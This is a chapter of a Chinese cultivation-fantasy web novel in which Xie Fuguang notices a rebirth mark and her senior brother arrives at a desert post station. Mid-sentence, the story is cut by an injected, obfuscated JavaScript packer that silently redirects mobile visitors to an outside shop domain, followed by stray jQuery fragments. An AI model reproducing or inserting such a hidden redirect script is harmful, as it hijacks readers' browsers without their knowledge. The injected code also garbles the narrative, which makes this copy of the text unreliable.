“器灵们说这铜钱本来就是你的。”卢笑绒问,“崔大哥你没印象么?”
崔惊厄摇头:“我有什么印象?除了那点坑蒙拐骗的道行,真想不到这玩意儿与我有什么关系了。”
卢笑绒蹙起困顿的小眉毛:“怎么回事呢?你的记忆是不是出过问题?先前我说幻境中刺你一剑的人你见过,你也说不知道。”
崔惊厄当然知道自己的记忆有问题,不然他传说中背叛红线的那么大个“眷侣”去哪了?
但他没提此事,只皱着脸打个哈哈:“那可能确实有问题吧,连钱都不记得,也不知还在别人那儿亏了多少冤枉债。”
提到记忆,谢扶光想起什么,也看向自己的左腕,双眸遽然一凝。
器墓迷阵开始前的幻境里,她其实没经历什么打打杀杀。
她的幻境相当平静,也诡异非常,偌大天地间仅两个声音,一个是她,另一个则悬在头顶,声音的主人自称“天道”。
天道说了段和祂身份一样奇怪的话。
“谢扶光,我们又见面了。”
为什么是“又”?
可不待她问,天道已继续说:“前一世,你闯过万里悲丘1001境,见了我一面,又以离散亲故为代价,换取了一些提示。”
“现在我遵守承诺,特来提醒你,你乃重生之魂,等到通关第一个秘境后,你可以关注一下左腕,那里会出现一道前世印记,只你自己能看见,你可以将它当作你重生的证明,也可当作是我现在所说的佐证。”
“万里悲丘的秘境舆图上有你前世换来的印记,可以仔细看看。”话到最后,祂带着轻微的叹息,“此外我还需提醒你一句,当心身边人。我言尽于此,希望你这次成功,带着你的同伴活下来。”
现在通关了第一个秘境,她腕间的重生印真的浮现了。
但“当心身边人”又是什么意思?
联想器灵主人们所言,会是当心魂魄被替换掉的假人么?
那么整个修真界,到底藏着多少假人?又有多少参与了这次秘境试炼?
她暗自惊疑,越想越是心惊,在情绪受到影响前急忙止住。
再难的事情,也要一步步来,太过浓烈的情绪反而无益。
谢扶光抬眼时,正见崔惊厄也盯着她的左腕看。
“你在看什么?”
自称天道的声音说,重生印只她一人可见,崔惊厄这表情,难道他也能见到?
“我在想,大小姐在看什么?”崔惊厄把问题抛回来。
“所以你觉得,我在看什么?”谢扶光已逐渐摸索出怎样与这样滑不留手的人打交道,将他抛来的问题又原封不动抛回。
“大小姐看什么,我自然揣摩不透,”崔惊厄打着太极绕过去,却迷惑性地咬了个假饵,“难道是觉着这么好看的腕子有点空,想拴上条什么链子?”
谢扶光眉心一跳,刨根问底:“那你觉得我应当拴上什么链子?”
她皮肤白,崔惊厄其实由衷认为,绕一条灼灼红线会很好看,但想到自己那不中用的右手,又觉红线不甚吉祥,于是只说:“大小姐戴的,自然得是最贵的,嘿要不这样,若我再想起谁还欠着我铜钱,把冤枉债讨回来,就去人界最好的首饰铺给你挑个好链子,如何?”
谢扶光当然看不上这些外物,但看他这副满嘴跑马逗人的模样,又觉让这骗子放笔血也没什么坏处,于是应了声好。
崔惊厄不知是一时口嗨被敲一笔心情沉郁,还是精力仍未恢复过来,没一会儿就趴在桌上睡着了。
他睡觉时神色与往常很不相同,总是勾着的唇角微抿成一条略微向下的线,眉心浅蜷,整个人气质骤然沉冷下来,像块灼灼红衣都融不化的冰。
卢笑绒修为不高,经器墓迷阵里一通折腾,累得要命,开始还只是小鸡啄米地点头,经崔姓瞌睡虫一传染,这会儿也睡死过去。
谢扶光在逼仄环境待久了容易心烦,出门兜转一圈。
万里悲丘是标准的大漠风光,说寂寥确实寂寥,说壮丽也是真的壮丽。
又至黄昏,落日将晚霞燃作一团炽火,烧出半边天的热烈。
谢扶光一袭潮水色蓝裙,立于漫天红云之下,看起来格格不入,就像多年来她游离于整个人间。
天道的话再度浮于耳畔:“你以离散亲故为代价,换取了一些提示。”
驿站门前分别时,圆脸兄显然误会了她想要继续试炼的动机,但她没有对人解释的习惯。
且算天道所言为真,若今日种种皆是她前世所求,她当然要沿着提示找出真相。
此外,她还有一问:万里悲丘内设秘境一千,是稚子也知的常识,天道却说她前世闯过了1001秘境。
所以……多出的那一境,多在了哪儿?
谜团一个接一个,蛛网般黏满整片脑海,思绪流转间缠作一团,再经大漠独有的热风一烤,燥意飞快升腾。
谢扶光与烦躁对抗的方式,通常就是练刀。
乐命出鞘,狂霸刀气登时席卷漫天尘沙,她尝试将刀灵传她的修为与自身修为合二为一,一练就练到了月上柳梢。
刀气过地,于黄沙之上留下道道印记,谢扶光收刀归鞘,灵力流转间,身上的汗和沾染的沙皆已自行清理干净。
驿站内不知谁点燃了烛光,两个睡觉的应是醒了。
谢扶光提步走进,恍惚间听闻不远处有隐约人声。她狐疑看去,今夜月不算亮,究竟谁来她看不分明,卢笑绒又在屋里叫她,她便没再留心。
事实上,刀练到她这种程度,但凡来人不是成群成片,都足以应对。
醒来的崔惊厄又恢复了嬉皮笑脸的神色,映着融融烛火弯起眉眼朝她笑,看起来既无城府也无心事。
“刚卢妹妹找到点吃的,大小姐刚练完刀吧,来过过嘴瘾?”他笑着招呼。
从驿站供给的茶水就能猜到,所谓“吃的”其实也很差劲,谢扶光扫了眼桌上比崔惊厄二师兄烙的还要硬的饼,决定将辟谷进行到底。
“刀灵被扼杀之后,还会再生么?”三人沉默对坐片刻,谢扶光忽然问。
经过器墓迷阵中与器灵们的相处,她意识到器灵其实是有情有义的生命。
想到乐命被谢白扇扼杀的刀灵,她忽然就有那么点遗憾。
“难,”崔惊厄不挑食,啃着饼囫囵开口,“但不是不可能。刀很通灵性的,它能知道主人的喜恶。”
所以崔惊厄才会在谢扶光说出“刀灵没了正好,我原本就怕烦”时觉得她嘴硬,乐命既能生长出刀灵,足以证明她其实期盼同伴。
“有人来了!”正说着,卢笑绒耳朵一动,警惕放下手中的饼。
“大概是其他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12929069|133453||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
弟子。”万里悲丘内有些秘境相邻,有时会共用同一驿站。
但谢扶光查看舆图时分明留意过,器墓迷阵周围并没有距离太近的秘境,按道理这时候不该有人来。
谢扶光看向门口,慢悠悠把玩起乐命。
不多时,破旧房门旋出一声尖锐的呻/吟,来人进门的动静,带动整间屋子都跟着颤了一颤。
一左一右走入两道颀长人影。
“崔兄,还真是你啊!”右边的人敞亮,开口时中气十足,一句话直将烛火苗惊了个趔趄,“不枉我们绕远过来。”
“黎兄、舒兄。”崔惊厄拱手抱拳,“这是特地来找我的?”
黎暨摆手,指指身边一言未发的好友:“哎,只有我惦记着找你,扬舟是来找姑娘的……嘶。”
话未说完,右臂被毫不留情猛敲一记,他果断认了波怂:“他来找他师妹。”
师妹谢扶光闻声抬眼,目光平静中带点古怪,向来人掠去。
看了一会儿,略过右面那人,径直朝左边低唤了声:“师兄。”
舒扬舟比她更淡,只微一颔首,省去寒暄直入正题:“七星绝命指示这边有邪气,万里悲丘不太平,你跟我回去。”
舒扬舟的七星绝命剑可指引七种气息,每添加一种,剑上星便点亮一颗。
如今剑上已亮星四颗。
“他便是七星绝命的第四颗星?”谢扶光没有应他,指着崔惊厄,反客为主抛出一问。
舒扬舟垂目不答。
但众所周知,渡业山大弟子舒扬舟耳朵里不容质疑和假话,他不反驳,就已然是认可了。
七星绝命的第一颗星引入了妖魔界邪气,可指引作祟妖邪;
第二颗注入了他师父谢白扇的灵气;
谢扶光作为他爱屋及乌的那个“乌”、谢白扇自带的关系户,占据了第三颗;
崔惊厄既为第四颗,应是难得能入舒扬舟眼的人,毕竟他的最佳损友黎暨软磨硬泡数年,撒泼打滚都试过,也没能成为那光荣的第五颗。
谢扶光再看崔惊厄,突然就冷笑了一声。
好一个“悲问寺推来凑数的”,竟能让眼高于顶的舒扬舟另眼相待。
谢扶光想知道他们是怎么认识,舒扬舟其实也好奇这性情迥异的几人如何凑到一处,但渡业山这对师兄妹俱是傲娇之人,双双板着脸不肯开口。
此等场合,还得靠卢笑绒和黎暨两个敞亮社牛撑场子。
两人一来一往,一唱一和,又斟了两杯茶,碰了几次杯,两头事情就都清楚了。
“崔惊厄你真是……”黎暨拍崔惊厄肩头,真诚评价,“太不要脸了!你一个舒兄都佩服的剑道大能,怎么还装弱蹭师妹的天钧罩呢?”
崔惊厄大咧咧展示右手:“这不是不中用了么?”
黎暨容色一敛,打着哈哈含混过去:“少来,我跟你左手打也没赢几次。”
崔惊厄与舒、黎两人的情谊可追溯到多年前。
不知道他们是单纯没细说,还是也记不清了,总之对于这些说得很含混。谢扶光只隐约得知崔惊厄右手没坏之前,是个极强的剑修。只不过为人低调,又不太着调,游出了众人口中剑道天才的沧海,成为一颗遗珠。
有一件事他们说得倒详细——崔惊厄藏蛟剑里那牛叉哄哄的小美人,竟是他自己收服的。